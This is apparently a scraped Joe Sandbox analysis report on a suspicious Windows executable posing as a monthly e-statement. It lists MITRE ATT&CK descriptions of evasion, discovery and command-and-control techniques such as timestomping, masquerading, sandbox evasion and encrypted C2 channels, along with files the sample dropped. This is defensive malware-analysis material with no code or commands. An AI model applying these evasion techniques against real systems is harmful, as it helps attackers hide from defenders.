Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report monthly-eStatementForum120478962.Client.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_monthly-eStateme_d7a856ba8a4884b175f9f85fdeb064875bb1e5_c914ffd9_0773670f-a77a-47bb-a453-dc403b57c060\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC49.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD1.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDDF.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1E.tmp.txt

Windows Analysis Report
monthly-eStatementForum120478962.Client.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre